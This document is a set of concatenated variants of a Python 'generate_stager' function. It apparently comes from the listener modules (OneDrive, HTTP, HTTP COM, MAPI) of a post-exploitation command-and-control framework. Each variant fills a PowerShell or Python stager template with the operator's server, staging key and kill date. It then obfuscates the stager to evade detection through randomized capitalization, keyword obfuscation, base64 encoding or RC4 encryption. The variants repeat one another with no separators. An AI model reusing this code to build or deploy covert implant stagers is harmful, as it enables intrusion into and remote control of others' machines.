def generate_stager( self, listenerOptions, encode=False, encrypt=True, language=None, token=None ): """ Generate the stager code """ if not language: print( helpers.color( "[!] listeners/onedrive generate_stager(): no language specified" ) ) return None staging_key = listenerOptions["StagingKey"]["Value"] base_folder = listenerOptions["BaseFolder"]["Value"] staging_folder = listenerOptions["StagingFolder"]["Value"] working_hours = listenerOptions["WorkingHours"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] agent_delay = listenerOptions["DefaultDelay"]["Value"] if language.lower() == "powershell": f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) stager = stager.replace( "REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder) ) stager = stager.replace("REPLACE_STAGING_KEY", staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) unobfuscated_stager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): unobfuscated_stager += line if encode: return helpers.enc_powershell(unobfuscated_stager) elif encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode("UTF-8") return RC4IV + encryption.rc4( RC4IV + staging_key, unobfuscated_stager.encode("UTF-8") ) else: return unobfuscated_stager else: print(helpers.color("[!] Python agent not available for Onedrive"))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the stager code """ if not language: print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified")) return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' for line in stager.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_stager += helpers.randomize_capitalization(line) else: randomized_stager += line if encode: return helpers.enc_powershell(randomized_stager) elif encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode('UTF-8') return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8')) else: return randomized_stager else: print(helpers.color("[!] Python agent not available for Onedrive"))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. """ if not language: print(helpers.color('[!] listeners/http generate_stager(): no language specified!')) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print(helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_stager(): no language specified!' )) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' stagingKey = stagingKey.encode('UTF-8') for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module." ))
def generate_stager( self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None, ): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( "[!] listeners/http_com generate_stager(): no language specified!" ) ) return None profile = listenerOptions["DefaultProfile"]["Value"] uris = [a.strip("/") for a in profile.split("|")[0].split(",")] stagingKey = listenerOptions["StagingKey"]["Value"] host = listenerOptions["Host"]["Value"] workingHours = listenerOptions["WorkingHours"]["Value"] customHeaders = profile.split("|")[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == "powershell": # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(":")[0] headerValue = header.split(":")[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( '$customHeaders = "";', '$customHeaders = "' + headers + '";' ) # patch the server and key information stager = stager.replace("REPLACE_SERVER", host) stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace("WORKING_HOURS_REPLACE", workingHours) unobfuscated_stager = "" stagingKey = stagingKey.encode("UTF-8") for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): unobfuscated_stager += line if obfuscate: unobfuscated_stager = data_util.obfuscate( self.mainMenu.installPath, unobfuscated_stager, obfuscationCommand=obfuscationCommand, ) # base64 encode the stager and return it if encode: return helpers.enc_powershell(unobfuscated_stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8") ) else: # otherwise just return the case-randomized stager return unobfuscated_stager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ) )